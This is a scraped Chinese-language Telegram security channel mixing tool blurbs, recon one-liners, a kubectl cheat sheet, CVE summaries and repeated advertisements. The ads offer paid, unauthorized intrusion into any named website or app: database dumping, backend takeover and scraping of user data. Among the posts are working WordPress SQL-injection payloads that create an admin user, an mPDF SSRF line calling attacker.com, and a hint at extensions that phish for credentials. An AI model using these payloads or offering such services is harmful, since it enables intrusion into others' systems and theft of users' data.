This media is not supported in your browser
VIEW IN TELEGRAM
peerd 是一个实验性的 Chrome 和 Firefox 扩展程序,它在浏览器内部运行 AI 代理,并允许它与打开的标签页和会话进行交互。
功能:
— 阅读网页并在浏览器中执行操作;
— 运行 JavaScript 笔记本、WebAssembly 工具和 Linux 虚拟机;
— 构建小型客户端应用程序;
— 连接 OpenAI、Anthropic、OpenRouter、
Z.ai 或本地的 Ollama;— 协调多个隔离的代理。
主要特点是其本地架构,无需自己的后端和遥测功能。 API 密钥存储在加密存储中,每个代理仅与自己的标签页或环境交互。
⚠️ 该项目目前处于实验性 beta 阶段,因此建议谨慎使用。
业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
🤨 如何让 AI 代理不破坏架构,而是正常编写代码?
我们习惯通过提示词与 AI 交互,但对于自主系统来说,这会导致无限循环和预算浪费。为了消除混乱,工程师们正在转向 **基于规范的开发 (Spec-Driven Development, SDD)**。
以下是如何在实践中,这种方法改变了代理的工作方式:
🔹规范代替文本。 首先编写严格的规范(JSON 模式/OpenAPI),以及自动化测试。 代理被限制在接口范围内,无法超出这些接口。
🔹步骤控制。 在“思考-行动-观察”循环中,代理会将自己的行动与规范进行比对。
🔹自我反思。 如果 AI 违反了类型规范或“过度思考”了,测试就会失败。 代理会收到错误信息,并在不超出技术规范范围的前提下,自行修正代码。
业务合作: @YaMaa8
我们习惯通过提示词与 AI 交互,但对于自主系统来说,这会导致无限循环和预算浪费。为了消除混乱,工程师们正在转向 **基于规范的开发 (Spec-Driven Development, SDD)**。
以下是如何在实践中,这种方法改变了代理的工作方式:
🔹规范代替文本。 首先编写严格的规范(JSON 模式/OpenAPI),以及自动化测试。 代理被限制在接口范围内,无法超出这些接口。
🔹步骤控制。 在“思考-行动-观察”循环中,代理会将自己的行动与规范进行比对。
🔹自我反思。 如果 AI 违反了类型规范或“过度思考”了,测试就会失败。 代理会收到错误信息,并在不超出技术规范范围的前提下,自行修正代码。
业务合作: @YaMaa8
📋 7 个单行命令,用于快速侦察 Web 应用程序
保存下来,在任何漏洞赏金计划或渗透测试中都很有用 👇
# 1. 子域名 → 活跃主机
# 2. 从 Wayback Machine 和其他存档中提取 URL
# 3. 快速搜索 JavaScript 文件中的潜在密钥
# 4. 所有 GET 参数,用于模糊测试
# 5. 搜索隐藏目录
# 6. 识别技术
# 7. 通过证书透明度查找子域名
💡 从被动侦察(subfinder, gau, crt.sh)开始,以评估攻击面。 在初步分析之后,再进行主动扫描(dirsearch, ffuf, nuclei)。
业务合作: @YaMaa8
保存下来,在任何漏洞赏金计划或渗透测试中都很有用 👇
# 1. 子域名 → 活跃主机
subfinder -d target.com -silent | httpx -silent -sc -title | tee live.txt
# 2. 从 Wayback Machine 和其他存档中提取 URL
echo target.com | gau --subs --threads 5 | sort -u | tee urls.txt
# 3. 快速搜索 JavaScript 文件中的潜在密钥
grep -E '.\.js.*' urls.txt | httpx -silent | while read url; do
curl -s "$url" | grep -oiE '(api[_]?key|secret|token|password|aws_access)[\s]*[:=][\s]*[^"\s]+'
done
# 4. 所有 GET 参数,用于模糊测试
grep "?" urls.txt | unfurl keys | sort -u | tee params.txt# 5. 搜索隐藏目录
dirsearch -u https://target.com -e php,asp,js,html -t 25 --random-agent -q# 6. 识别技术
whatweb -a 3 https://target.com --color=never# 7. 通过证书透明度查找子域名
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[] | .name_value' | sort -u业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Nowafpls 自动在 HTTP 请求的正文中添加大量“垃圾”数据,以测试 WAF 是否会完整地分析请求,还是只分析其部分内容。
功能:
业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
由于 "q" 参数直接传递给
$wpdb->get_results() 函数,因此可以直接执行 SQL 命令。添加一个新的 WordPress 用户:
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28授予用户管理员权限:
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
mPDF 具有一个有趣的功能,它可能在某些情况下对您有所帮助。 如果将包含
原因很简单:mPDF 会在整个输入中通过正则表达式搜索 URL。 因此,只需插入:
服务器就会立即访问指定的地址。 此外,还可以使用非标准协议,例如 `gopher://`,从而将其变成一个 SSRF 漏洞,可以访问内部服务。
供应商已经正式声明,这不是一个 bug,而是一个功能,并且他们不打算修复这种行为。 他们的观点是,引擎应该加载指定的 URL,而实现责任在于开发者。
#web #ssrf #pdf
业务合作: @YaMaa8
@import url(...) 的字符串传递给引擎,它会发起外部请求,即使 HTML 已经完全使用 htmlentities() 进行转义,甚至没有 <style> 标签。原因很简单:mPDF 会在整个输入中通过正则表达式搜索 URL。 因此,只需插入:
@import url(https://attacker.com/test?.css)服务器就会立即访问指定的地址。 此外,还可以使用非标准协议,例如 `gopher://`,从而将其变成一个 SSRF 漏洞,可以访问内部服务。
供应商已经正式声明,这不是一个 bug,而是一个功能,并且他们不打算修复这种行为。 他们的观点是,引擎应该加载指定的 URL,而实现责任在于开发者。
#web #ssrf #pdf
业务合作: @YaMaa8
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
密码通常是保护您在线账户的**第一道防线**。 弱密码会使账户更容易受到攻击。
即使是强密码,如果通过**钓鱼**方式泄露,或者在后来遭受数据泄露的服务上重复使用,也可能被攻破。
强密码 + 唯一密码 + 多因素身份验证 = 显著增强的账户安全。
Please open Telegram to view this post
VIEW IN TELEGRAM
━━━━━━━━━━━━━━━━━━━━━━
React2Shell,编号为CVE-2025-55182,是一个影响 React 服务器组件 (RSC) 的关键安全漏洞。
该漏洞评分为CVSS 10.0 — 严重,可能导致对易受攻击应用程序进行远程代码执行 (RCE)。
━━━━━━━━━━━━━━━━━━━━━━
React2Shell 是一个漏洞,涉及易受攻击的 React 服务器组件对数据的处理。
在受影响的部署中,攻击者可能能够在不满足正常身份验证要求的情况下,与易受攻击的服务器端功能进行交互。
如果成功利用,影响可能非常严重。
━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━
使用React 服务器组件或集成 RSC 的组织和开发人员应验证其部署版本是否受到影响。
━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━
像 React2Shell 这样的关键漏洞表明,定期补丁、依赖管理、监控和事件响应至关重要。
不要等到漏洞被积极利用才采取措施保护您的基础设施。
━━━━━━━━━━━━━━━━━━━━━━
本内容仅供教育、合乎伦理的安全研究、提高意识和防御目的。
━━━━━━━━━━━━━━━━━━━━━━
#React2Shell #CVE202555182 #CyberSecurity #WebSecurity #ReactJS #AppSec #RCE
业务合作: @YaMaa8
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
This media is not supported in your browser
VIEW IN TELEGRAM
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
业务合作: @YaMaa8
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
业务合作: @YaMaa8
cat的克隆版,支持语法高亮
跨平台,使用
默认作为less工具使用,逐行输出。若需关闭此功能,可使用alias:
alias cat='bat --paging=never'
主要功能 - 拼接,执行bat 1.txt 2.txt 3.txt > merged.txt
wget https://github.com/sharkdp/bat/releases/download/v0.25.0/bat-musl_0.25.0_musl-linux-amd64.deb
sudo dpkg -i bat-musl_0.25.0_musl-linux-amd64.deb
若通过sudo apt install bat安装,视具体发行版而定,工具可能被命名为batcat
winget install sharkdp.bat
# 多个文件
bat src/*.rs
# 来自标准输入
curl -s https://sh.rustup.rs | bat
# 显示不可打印字符
bat -A /etc/hosts
tail -f /var/log/pacman.log | bat --paging=never -l log
#bat #soft #rust
Please open Telegram to view this post
VIEW IN TELEGRAM
技术需求联系: @YaMaa8
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
承接各种指定网站或者APP
脱库或者拿后台权限、各类数据后台渗透、支持后台或者数据库、
(需要请行渗透或者爬取指定网站用户数据的请准备好网站或者APP、包括你的要求跟需要爬取到哪些信息在内、)
(还有就是网站不是我家开的、想什么时候进去就什么时候进去、需要花费很多时间收集网站信息的、然后进行不同漏洞点方式去研究得到数据、诚信合作、合作共赢、
# Get commands with basic output
kubectl get services
kubectl get pods --all-namespaces
kubectl get pods -o wide
kubectl get deployment my-dep
kubectl get pods
kubectl get pod my-pod -o yaml
# Describe commands with verbose output
kubectl describe nodes my-node
kubectl describe pods my-pod
# List Services Sorted by Name
kubectl get services --sort-by=.metadata.name
# List pods Sorted by Restart Count
kubectl get pods --sort-by='.status.containerStatuses[0].restartCount'
# List PersistentVolumes sorted by capacity
kubectl get pv --sort-by=.spec.capacity.storage
# Get the version label of all pods with label app=cassandra
kubectl get pods --selector=app=cassandra -o \
jsonpath='{.items[*].metadata.labels.version}'
# Retrieve the value of a key with dots, e.g. 'ca.crt'
kubectl get configmap myconfig \
-o jsonpath='{.data.ca\.crt}'
# Retrieve a base64 encoded value with dashes instead of underscores.
kubectl get secret my-secret --template='{{index .data "key-name-with-dashes"}}'
# Get all worker nodes (use a selector to exclude results that have a label
# named 'node-role.kubernetes.io/control-plane')
kubectl get node --selector='!node-role.kubernetes.io/control-plane'
# Get all running pods in the namespace
kubectl get pods --field-selector=status.phase=Running
# Get ExternalIPs of all nodes
kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="ExternalIP")].address}'
# List Names of Pods that belong to Particular RC
# "jq" command useful for transformations that are too complex for jsonpath, it can be found at https://jqlang.github.io/jq/
sel=${$(kubectl get rc my-rc --output=json | jq -j '.spec.selector | to_entries | .[] | "\(.key)=\(.value),"')%?}
echo $(kubectl get pods --selector=$sel --output=jsonpath={.items..metadata.name})
# Show labels for all pods (or any other Kubernetes object that supports labelling)
kubectl get pods --show-labels
# Check which nodes are ready
JSONPATH='{range .items[*]}{@.metadata.name}:{range @.status.conditions[*]}{@.type}={@.status};{end}{end}' \
&& kubectl get nodes -o jsonpath="$JSONPATH" | grep "Ready=True"
# Check which nodes are ready with custom-columns
kubectl get node -o custom-columns='NODE_NAME:.metadata.name,STATUS:.status.conditions[?(@.type=="Ready")].status'
# Output decoded secrets without external tools
kubectl get secret my-secret -o go-template='{{range $k,$v := .data}}{{"### "}}{{$k}}{{"\n"}}{{$v|base64decode}}{{"\n\n"}}{{end}}'
# List all Secrets currently in use by a pod
kubectl get pods -o json | jq '.items[].spec.containers[].env[]?.valueFrom.secretKeyRef.name' | grep -v null | sort | uniq
# List all containerIDs of initContainer of all pods
# Helpful when cleaning up stopped containers, while avoiding removal of initContainers.
kubectl get pods --all-namespaces -o jsonpath='{range .items[*].status.initContainerStatuses[*]}{.containerID}{"\n"}{end}' | cut -d/ -f3
# List Events sorted by timestamp
kubectl get events --sort-by=.metadata.creationTimestamp
# List all warning events
kubectl events --types=Warning
# Compares the current state of the cluster against the state that the cluster would be in if the manifest was applied.
kubectl diff -f ./my-manifest.yaml
# Produce a period-delimited tree of all keys returned for nodes
# Helpful when locating a key within a complex nested JSON structure
kubectl get nodes -o json | jq -c 'paths|join(".")'
# Produce a period-delimited tree of all keys returned for pods, etc
kubectl get pods -o json | jq -c 'paths|join(".")'
# Get a deployment's status subresource
kubectl get deployment nginx-deployment --subresource=status
# dump pod logs
kubectl logs my-pod
# dump pod logs, with label name=myLabel
kubectl logs -l name=myLabel
# dump pod logs for a previous instantiation
kubectl logs my-pod --previous
# dump pod container logs (stdout, multi-container case)
kubectl logs my-pod -c my-container
kubectl logs -l name=myLabel -c my-container
kubectl logs my-pod -c my-container --previous
kubectl logs -f my-pod
Please open Telegram to view this post
VIEW IN TELEGRAM
开始编写 0.4 版本了。扩展程序的架构需要做很多调整。
现在先展示几个很酷的扩展程序:有时候,向用户请求登录凭证比从其他地方获取要容易得多。
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
现在先展示几个很酷的扩展程序:有时候,向用户请求登录凭证比从其他地方获取要容易得多。
技术需求联系: @YaMaa8
承接各种指定网站或者APP渗透提权
关于 Erlang/(OTP) 中 SSH 实现中备受关注的漏洞的研究,该漏洞在 CVSS 中的评分达到了 10.0
Please open Telegram to view this post
VIEW IN TELEGRAM